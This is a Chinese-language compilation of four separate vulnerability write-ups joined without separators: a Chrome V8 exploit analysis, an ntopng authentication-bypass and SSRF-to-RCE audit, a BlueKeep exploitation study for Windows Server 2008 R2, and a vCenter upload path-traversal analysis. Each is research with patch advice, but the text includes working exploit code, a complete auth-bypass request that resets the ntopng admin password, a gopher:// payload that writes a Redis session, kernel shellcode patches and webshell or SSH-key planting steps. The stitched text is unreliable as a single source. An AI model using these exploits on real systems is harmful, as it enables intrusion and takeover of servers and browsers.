2021年4月13日，安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行（RCE）的0Day漏洞，该漏洞可在当前版本（89.0.4389.114）的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞，是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞，同时还发布了该漏洞的PoC。

2021年4月14日，360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72，以及Microsoft Edge和其他可能基于Chromium的浏览器。

Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合，就有可能绕过Chrome沙盒。

0x02-漏洞PoC

目前四个漏洞issue 1126249、issue 1150649、issue 1196683、issue 1195777的exp均使用同一绕过缓解措施手法（截至文章发布，后两个issue尚未公开），具体细节可参考文章。

基本思路是创建一个数组，然后调用shift函数构造length为-1的数组，从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。

function foo(a) {
......
	if(x==-1) x = 0;
	var arr = new Array(x);//---------------------->构造length为-1数组
	arr.shift();
......
}

issue 1195777中关键利用代码如下所示：

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
    arr.shift();
    let local_arr = Array(2);
    ......
}

参考issue 1126249和issue 1150649中关键poc代码如下所示，其缓解绕过可能使用同一方法。

//1126249
function jit_func(a) {
	.....
    v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
    let v51206 = new Array(v5568);
    v51206.shift();
    Array.prototype.unshift.call(v51206);
    v51206.shift();
   .....
}

//1150649
function jit_func(a, b) {
  ......
  v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
  if (b) {
    v56971 = 0;
  }
  v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
  v129341.shift();
  v4951241 = {};
  v129341.shift();
  ......
}

国内知名研究员gengming和@dydhh1推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。

frust在youtube给出了Chrome89.0.4389.114的poc视频验证；经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。

0x03-exp关键代码

exp关键代码如下所示。

class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;//进行地址泄露
        }
    }
function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//
        arr[0] = 0x1122;//修改数组长度
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

通过代码Array(Math.sign(0 - Math.max(0, x, -1)))创建一个length为-1的数组，然后使用LeakArrayBuffer构造内存布局，将相对读写布局成绝对读写。

这里需要说明的是，由于chrome80以上版本启用了地址压缩，地址高4个字节，可以在构造的array后面的固定偏移找到。

先将corrupt_buffer的地址泄露，然后如下计算地址

 (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;

可以计算出高4字节。

同时结合0x02步骤中实现的相对读写和对象泄露，可实现绝对地址读写。@r4j0x00在issue 1196683中构造length为-1数组后，则通过伪造对象实现任意地址读写。

之后，由于WASM内存具有RWX权限，因此可以将shellcode拷贝到WASM所在内存，实现任意代码执行。

具体细节参考exp。

该漏洞目前已修复。

0x04-小结

严格来说，此次研究人员公开的两个漏洞并非0day，相关漏洞在最新的V8版本中已修复，但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护，该漏洞在沙箱内无法被成功利用，一般情况下，仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是，其他不少基于v8等组件的app（包括安卓），尤其是未开启沙箱保护的软件，仍具有潜在安全风险。

漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此，其他依赖v8等组件的APP更不必说，使用1 day甚至 N day即可实现0 day效果。这也为我们敲响警钟，不仅仅是安全研究，作为应用开发者，也应当关注组件漏洞并及时修复，避免攻击者趁虚而入。

我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施；使用Chrome的用户需及时更新，使用其他Chrome内核浏览器的用户则需要提高安全意识，防范攻击。

参考链接

https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971

https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645

https://bugs.chromium.org/p/chromium/issues/detail?id=1126249

https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html

https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js

0x00. TL;DR

ntopng 是一套开源的网络流量监控工具，提供基于 Web 界面的实时网络流量监控。支持跨平台，包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 语言开发，其绝大部分 Web 逻辑使用 lua 开发。

在针对 ntopng 的源码进行审计的过程中，笔者发现了 ntopng 存在多个漏洞，包括一个权限绕过漏洞、一个 SSRF 漏洞和多个其他安全问题，接着组合利用这些问题成功实现了部分版本的命令执行利用和管理员 Cookie 伪造。

比较有趣的是，利用的过程涉及到 SSDP 协议、gopher scheme 和奇偶数，还有极佳的运气成分。ntopng 已经针对这些漏洞放出补丁，并在 4.2 版本进行修复。涉及漏洞的 CVE 如下：

• CVE-2021-28073
• CVE-2021-28074

0x01. 部分权限绕过 (全版本)

ntopng 的 Web 界面由 Lua 开发，对于 HTTP 请求的处理、认证相关的逻辑由后端 C++ 负责，文件为 HTTPserver.cpp。对于一个 HTTP 请求来说，ntopng 的主要处理逻辑代码都在 handle_lua_request 函数中。其 HTTP 处理逻辑流程如下：

1. 检测是不是某些特殊路径，如果是直接返回相关逻辑结束函数；
2. 检测是不是白名单路径，如果是则储存在 whitelisted 变量中；
3. 检测是否是静态资源，通过判断路径最后的扩展名，如果不是则进入认证逻辑，认证不通过结束函数；
4. 检测是否路径以某些特殊路径开头，如果是则调用 Lua 解释器，逻辑交由 Lua 层；
5. 以上全部通过则判断为静态文件，函数返回，交由 mongoose 处理静态文件。

针对一个非白名单内的 lua 文件，是无法在通过认证之前到达的，因为无法通过判断是否是静态文件的相关逻辑。同时为了使我们传入的路径进入调用 LuaEngine::handle_script_request 我们传入的路径需要以 /lua/ 或者 /plugins/ 开头，以静态文件扩展名结尾，比如 .css 或者 .js。

// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
    ...
}

if((strncmp(request_info->uri, "/lua/", 5) == 0)
 || (strcmp(request_info->uri, "/metrics") == 0)
 || (strncmp(request_info->uri, "/plugins/", 9) == 0)
 || (strcmp(request_info->uri, "/") == 0)) {
 ...

进入 if 语句后，ntopng 声明了一个 大小为 255 的字符串数组 来储存用户请求的文件路径。并针对以非 .lua 扩展名结尾的路径后补充了 .lua，接着调用 stat 函数判断此路径是否存在。如果存在则调用 LuaEngine::handle_script_request 来进行处理。

// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;

...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
    snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s", 
    (char*)".lua");

ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;

if(found) {
    ...
    l = new LuaEngine(NULL);
    ...
    l->handle_script_request(conn, request_info, path, &attack_attempt, username,
                             group, csrf, localuser);

ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中，而 snprintf 会在字符串结尾添加 \0。由于 path 数组长度有限，即使用户传入超过 255 个字符的路径，也只会写入前 254 个字符，我们可以通过填充 ./ 来构造一个长度超过 255 但是合法的路径，并利用长度限制来截断后面的 .css.lua，即可绕过 ntopng 的认证以访问部分 Lua 文件。

目前有两个问题，一个是为什么只能用 ./ 填充，另外一个是为什么说是“部分 Lua 文件”。

第一个问题，在 thrid-party/mongoose/mongoose.c 中，进行路径处理之前会调用下面的函数去除重复的 /以及 .，导致我们只能用 ./ 来填充。

void remove_double_dots_and_double_slashes(char *s) {
    char *p = s;

    while (*s != '\0') {
        *p++ = *s++;
        if (s[-1] == '/' || s[-1] == '\\') {
            // Skip all following slashes, backslashes and double-dots
            while (s[0] != '\0') {
                if (s[0] == '/' || s[0] == '\\') {
                    s++;
                } else if (s[0] == '.' && s[1] == '.') {
                    s += 2;
                } else {
                    break;
                }
            }
        }
    }
    *p = '\0';
}

说部分 Lua 文件的原因为，由于我们只能利用两个字符 ./ 来进行路径填充，。那么针对前缀长度为偶数的路径，我们只能访问路径长度为偶数的路径，反之亦然。因为一个偶数加一个偶数要想成为偶数必然需要再加一个偶数。也就是说，我们需要：

len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1

0x02. 全局权限绕过 (版本 4.1.x-4.3.x)

其实大多数 ntopng 的安装路径都是偶数（/usr/share/ntopng/scripts/lua/），那么我们需要一个合适的 gadgets 来使我们执行任意 lua 文件。通过对 lua 文件的审计，我发现 modules/widgets_utils.lua内存在一个合适的 gadgets：

// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
   local ds = datasources_utils.get(widget.ds_hash)
   local dirs = ntop.getDirs()
   package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path

   -- Remove trailer .lua from the origin
   local origin = ds.origin:gsub("%.lua", "")

   -- io.write("Executing "..origin..".lua\n")
   --tprint(widget)

   -- Call the origin to return
   local response = require(origin)

调用入口在 widgets/widget.lua，很幸运，这个文件名长度为偶数。通过阅读代码逻辑可知，我们需要在edit_widgets.lua 创建一个 widget，而创建 widget 有需要存在一个 datasource，在 edit_datasources.lua 创建。而这两个文件的文件名长度全部为偶数，所以我们可以利用请求这几个文件，从而实现任意文件包含的操作，从而绕过 ntopng 的认证。

0x03. Admin 密码重置利用 (版本 2.x)

利用 0x01 的认证绕过，请求 admin/password_reset.lua 即可更改管理员的密码。

GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close

0x04. 利用主机发现功能伪造 Session (版本 4.1.x-4.3.x)

ntopng 的主机发现功能利用了 SSDP（Simple Service Discovery Protocol）协议去发现内网中的设备。

SSDP 协议进行主机发现的流程如下所示：

+----------------------+
|      SSDP Client     +<--------+
+-----------+----------+         |
            |                    |
        M-SEARCH          HTTP/1.1 200 OK
            v                    |
+-----------+----------+         |
| 239.255.255.250:1900 |         |
+---+--------------+---+         |
    |              |             |
    v              v             |
+---+-----+  +-----+---+         |
| DEVICES |  | DEVICES |         |
+---+-----+  +-----+---+         |
    |              |             |
    +--------------+-------------+

SSDP 协议在 UDP 层传输，协议格式基于 HTTPU（在 UDP 端口上传输 HTTP 协议）。SSDP 客户端向多播地址239.255.255.250 的 1900 端口发送 M-SEARCH 的请求，局域网中加入此多播地址的设备接收到请求后，向客户端回复一个 HTTP/1.1 200 OK，在 HTTP Headers 里有与设备相关的信息。其中存在一个 Location 字段，一般指向设备的描述文件。

// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
    ...
    local ssdp = interface.discoverHosts(3)
    ...
    ssdp = analyzeSSDP(ssdp)
    ...

local function analyzeSSDP(ssdp)
   local rsp = {}

   for url,host in pairs(ssdp) do
      local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
      ...

在 discover_utils.lua 中，Lua 会调用 discoverHosts 函数获取 SSDP 发现的设备信息，然后在analyzeSSDP 函数中请求 Location 头所指向的 URL。那么这里显然存在一个 SSRF 漏洞。ntop.httpGet最终调用到的方法为 Utils::httpGetPost，而这个方法又使用了 cURL 进行请求。

// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
            char *password, int timeout,
            bool return_content,
            bool use_cookie_authentication,
            HTTPTranferStats *stats, const char *form_data,
            char *write_fname, bool follow_redirects, int ip_version) {
  CURL *curl;
  FILE *out_f = NULL;
  bool ret = true;

  curl = curl_easy_init();

众所周知，cURL 是支持 gopher:// 协议的。ntopng 使用 Redis 储存 Session 的相关信息，那么利用SSRF 攻击本地的 Redis 即可设置 Session，最终实现认证绕过。

discover.discover2table 的调用入口在 discover.lua，也是一个偶数长度的文件名。于是通过请求此文件触发主机发现功能，同时启动一个 SSDP Server 去回复 ntopng 发出的 M-SEARCH 请求，并将 Location设置为如下 payload：

gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a

最终通过设置 Cookie 为 session=ntop 来通过认证。

0x05. 利用主机发现功能实现 RCE (版本 3.8-4.0)

原理同 0x04，利用点在 assistant_test.lua 中，需要设置 ntopng.prefs.telegram_chat_id 以及 ntopng.prefs.telegram_bot_token，利用 SSRF 写入 Redis 即可。

local function send_text_telegram(text) 
  local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"), 
  ntop.getCache("ntopng.prefs.telegram_bot_token")

    if( string.len(text) >= 4096 ) then 
      text = string.sub( text, 1, 4096 )
    end

    if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then 
      os.execute("curl -X POST  https://api.telegram.org/bot"..bot_token..
      "/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
      return 0

    else
      return 1
    end
end

0x06. 利用主机发现功能实现 RCE (版本 3.2-3.8)

原理同 0x04，利用点在 modules/alert_utils.lua 中，需要在 Redis 里设置合适的 threshold。

local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
   local rc
   local threshold_info = table.clone(threshold)

   if old_table and new_table then -- meaningful checks require both new and old tables
      ..
      -- This is where magic happens: load() evaluates the string
      local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
       threshold.edge .. ") then return(true) else return(false) end"

      local f = load(what)
      ...

0x07. 在云主机上进行利用

SSDP 通常是在局域网内进行数据传输的，看似不可能针对公网的 ntopng 进行攻击。但是我们根据 0x04 中所提及到的 SSDP 的运作方式可知，当 ntopng 发送 M-SEARCH 请求后，在 3s 内向其隐式绑定的 UDP 端口发送数据即可使 ntopng 成功触发漏洞。

// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;

tv.tv_sec = timeout;
tv.tv_usec = 0;
..

while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
    struct sockaddr_in from = { 0 };
    socklen_t s = sizeof(from);
    char ipbuf[32];
    int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
    ..

针对云主机，如 Google Compute Engine、腾讯云等，其实例的公网 IP 实际上是利用 NAT 来进行与外部网络的通信的。即使绑定在云主机的内网 IP 地址上（如 10.x.x.x），在流量经过 NAT 时，dst IP 也会被替换为云主机实例的内网 IP 地址，也就是说，我们一旦知道其与 SSDP 多播地址 239.255.255.250 通信的 UDP 端口，即使不在同一个局域网内，也可以使之接收到我们的 payload，以触发漏洞。

针对 0x04，我们可以利用 rest/v1/get/flow/active.lua 来获取当前 ntopng 服务器与 239.255.255.250 通信的端口，由于这个路径长度为奇数，所以我们需要利用 0x02 中提及到的任意 lua 文件包含来进行利用。

同时，由于 UDP 通信的过程中此端口是隐式绑定的，且并没有进行来源验证，所以一旦获取到这个端口号，则可以向此端口发送 SSDP 数据包，以混淆真实的 SSDP 回复。需要注意的是，需要在触发主机功能的窗口期内向此端口发送数据，所以整个攻击流程如下：

1. 触发主机发现功能；
2. 循环请求 rest/v1/get/flow/active.lua 以获取端口；
3. 再次触发主机发现功能；
4. 向目标从第 2 步获取到的 UDP 端口发送 payload；
5. 尝试利用 Cookie 进行登录以绕过认证。

针对 0x05，我们可以利用 get_flows_data.lua 来获取相关的 UDP 端口，原理不再赘述。

0x07. Conclusion

为什么出问题的文件名长度都是偶数啊.jpg

分析背景

cve-2019-0708是2019年一个rdp协议漏洞，虽然此漏洞只存在于较低版本的windows系统上，但仍有一部分用户使用较早版本的系统部署服务器（如Win Server 2008等），该漏洞仍有较大隐患。在此漏洞发布补丁之后不久，msf上即出现公开的可利用代码；但msf的利用代码似乎只针对win7，如果想要在Win Server 2008 R2上利用成功的话，则需要事先在目标机上手动设置注册表项。

在我们实际的渗透测试过程中，发现有部分Win Server 2008服务器只更新了永恒之蓝补丁，而没有修复cve-2019-0708。因此，我们尝试是否可以在修补过永恒之蓝的Win Server 2008 R2上实现一个更具有可行性的cve-2019-0708 EXP。

由于该漏洞已有大量的详细分析和利用代码，因此本文对漏洞原理和公开利用不做赘述。

分析过程

我们分析了msf的exp代码，发现公开的exp主要是利用大量Client Name内核对象布局内核池。这主要有两个目的，一是覆盖漏洞触发导致MS_T120Channel对象释放后的内存，构造伪造的Channel对象；二是直接将最终的的shellcode布局到内核池。然后通过触发IcaChannelInputInternal中Channel对象在其0x100偏移处的虚函数指针引用来达到代码执行的目的。如图1：

而这种利用方式并不适用于server2008r2。我们分析了server2008r2的崩溃情况，发现引起崩溃的原因是第一步，即无法使用Client Name对象伪造channel对象，从而布局失败。这是因为在默认设置下，server 2008 r2的
RDPSND/MS_T120 channel对象不能接收客户端Client Name对象的分片数据。根据MSF的说明（见图2），只有发送至RDPSND/MS_T120的分片信息才会被正确处理；win7以上的系统不支持MS_T120，而RDPSND在server 2008 r2上并不是默认开启的。因此，我们需要寻找其他可以伪造channel对象的方式。

在此期间，我们阅读了几篇详细分析cve-2019-0708的文章（见参考链接），结合之前的调试分析经历，我们发现的确可以利用RDPDR 的channelID（去掉MSF中对rdp_on_core_client_id_confirm函数的target_channel_id加一的操作即可）使Client Name成功填充MS_T120 channel对象，但使用RDPDR 有一个缺陷：RDPDR Client Name对象只能申请有限的次数，基本上只能完成MS_T120对象的伪造占用并触发虚函数任意指针执行，无法完成后续的任意地址shellcode布局。

我们再次研究了Unit 42发布的报告，他们利用之前发布的文章中提到的Refresh Rect PDU对象来完成内核池的大范围布局（如图，注：需要在RDP Connection Sequence之后才能发送这个结构）。虽然这种内存布局方式每次只能控制8个字节，但作者利用了一个十分巧妙的方式，最终在32位系统上完成漏洞利用。

在解释这种巧妙利用之前，我们需要补充此漏洞目前的利用思路：得到一个任意指针执行的机会后，跳转到该指针指向的地址中，之后开始执行代码。但在内核中，我们能够控制的可预测地址只有这8个字节。虽然此时其中一个寄存器的固定偏移上保存有一个可以控制的伪造对象地址，但至少需要一条语句跳转过去。

而文章作者就是利用了在32位系统上地址长度只有4字节的特性，以及一条极短的汇编语句add bl,al; jmp ebx，这两个功能的代码合起来刚好在8字节的代码中完成。之后通过伪造channel对象里面的第二阶段跳转代码再次跳转到最后的shellcode上。（具体参考Unite 42的报告）

我们尝试在64位系统上复现这种方法。通过阅读微软对Refresh Rect PDU描述的官方文档以及msf的rdp.rb文件中对rdp协议的详细注释，我们了解到，申请Refresh Rect PDU对象的次数很多，能够满足内核池布局大小的需求，但在之后多次调试分析后发现，这种方法在64位系统上的实现有一些问题：在64位系统上，仅地址长度就达到了8字节。我们曾经考虑了一种更极端的方式，将内核地址低位上的可变的几位复用为跳转语句的一部分，但由于内核池地址本身的大小范围，这里最多控制低位上的7位，即：

0xfffffa801“8c08000“ 7位可控

另外，RDPDR Client Name对象的布局的可控数据位置本身也是固定的（即其中最低的两位也是固定的），这样我们就只有更少的5位来实现第二阶段的shellcode跳转，即：

“8c080”0xfffffa801“8c080”00 5位可控,

由于伪造的channel对象中真正可用于跳转的地址和寄存器之间仍有计算关系，所以这种方法不可行，需要考虑其他的思路。

把利用的条件和思路设置得更宽泛一些，我们想到，如果目前rdp协议暂时不能找到这样合适的内核池布局方式，那其他比较容易获取的也比较通用的协议呢？结合以前分析过的协议类的多种代码执行漏洞，smb中有一个用得比较多的内核池布局方式srvnet对象。

无论是永恒之蓝还是之后的SMBGhost都使用到srvnet对象进行内存布局。最容易的方法可以借助于msf中ms17-010的代码，通过修改代码中对make_smb2_payload_headers_packet和make_smb2_payload_body_packet 大小和数据的控制，能够比较容易地获取一种稳定的内核池布局方式（相关代码参考图5）。

由于单个Client Name Request所申请的大小不足以存放一个完整的shellcode，并且如上面提到的，也不能申请到足够多的RDPDR Client Name来布局内核池空间，所以我们选择将最终的shellcode直接布局到srvnet申请的内核池结构中，而不是将其当作一个跳板，这样也简化了整个漏洞的利用过程。

最后需要说明一下shellcode的调试。ms17-010中的shellcode以及0708中的shellcode都有一部分是根据实际需求定制的，不能直接使用。0708中的shellcode受限于RDPDR Client Name大小的限制，需要把shellcode的内核模块和用户层模块分为两个部分，每部分shellcode头部还带有自动搜索另一部分shellcode的代码。为了方便起见，我们直接使用ms17-010中的shellcode，其中只需要修改一处用来保存进程信息对象结构的固定偏移地址。之后，我们仍需要在shellcode中添加文章中安全跳过IcaChannelInputInternal函数剩余部分可能崩溃的代码（参考Patch Kernel to Avoid Crash 章节），即可使整个利用正常工作。64位中添加的修补代码如下：

mov qword ptr[rbx+108h],0
mov rax,qword ptr[rsp]
add rax,440h
mov qword ptr[rsp],rax
mov r11,qword ptr gs:[188h]
add word ptr [r11+1C4h],1

总结

本篇文章主要是分享我们在分析CVE-2019-0708漏洞利用的过程中整合现有的一些方法和技术去解决具体实际问题的思路。但这种方法也会有一些限制，例如既然使用了smb协议中的一些内核对布局方式，则前提是需要目标开启了smb端口。另外，不同虚拟化平台下的目标内核基址需要预测来达到使exp通用的问题仍没有解决，但由于这个漏洞是2019年的，从到目前为止众多已经修补过的rdp信息泄露漏洞中泄露一个任意内核对象地址，应该不会是太难的一件事。

综上，我们建议用户尽量使用最新的操作系统来保证系统安全性，如果的确出于某些原因要考虑较早版本且不受微软安全更新保护的系统，也尽量将补丁打全，至少可以降低攻击者攻击成功的方法和机会。

参考链接

• [Unite 42] Exploitation of Windows CVE-2019-0708 (BlueKeep): Three Ways to Write Data into Kernel with RDP PDU
• [Unite 42] Exploitation of Windows RDP Vulnerability CVE-2019-0708 (BlueKeep): Get RCE with System Privilege Using Refresh Rect PDU and RDPDR Client Name Request PDU

0x01. 漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机，使得 IT 管理员能够提高控制能力，简化入场任务，并降低 IT 环境的管理复杂性与成本。

vSphere Client（HTML5）在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求，从而在服务器上写入 webshell，最终造成远程任意代码执行。

0x02. 影响范围

• vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
• vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
• vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

0x03. 漏洞影响

VMware已评估此问题的严重程度为 严重 程度，CVSSv3 得分为 9.8。

0x04. 漏洞分析

vCenter Server 的 vROPS 插件的 API 未经过鉴权，存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能：

    @RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir 目录。注意到如下代码：

                while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

直接将 TAR 的文件名与 /tmp/unicorn_ova_dir 拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历。

对于 Linux 版本，可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys 的 TAR 文件并上传后利用 SSH 登陆：

$ ssh 192.168.1.34 -lvsphere-ui

VMware vCenter Server 7.0.1.00100

Type: vCenter Server with an embedded Platform Services Controller

vsphere-ui@bogon [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)

针对 Windows 版本，可以在目标服务器上写入 JSP webshell 文件，由于服务是 System 权限，所以可以任意文件写。

0x05. 漏洞修复

升级到安全版本：

• vCenter Server 7.0 版本升级到 7.0.U1c

• vCenter Server 6.7版本升级到 6.7.U3l

• vCenter Server 6.5版本升级到 6.5 U3n

临时修复建议

（针对暂时无法升级的服务器）

1. SSH远连到vCSA（或远程桌面连接到Windows VC）

2. 备份以下文件：

   • Linux系统文件路径为：/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)

   • Windows文件路径为：C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)

3. 使用文本编辑器将文件内容修改为：

4. 使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务

5. 访问https:///ui/vropspluginui/rest/services/checkmobregister，显示404错误

6. 在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible

0x06. 参考链接

• VMware官方安全通告
  https://www.vmware.com/security/advisories/VMSA-2021-0002.html
• 360Cert漏洞预警通告
  https://mp.weixin.qq.com/s/7x5nBpHIVOl5c1kqfsIhSQ
• 官方漏洞缓释措施
  https://kb.vmware.com/s/article/82374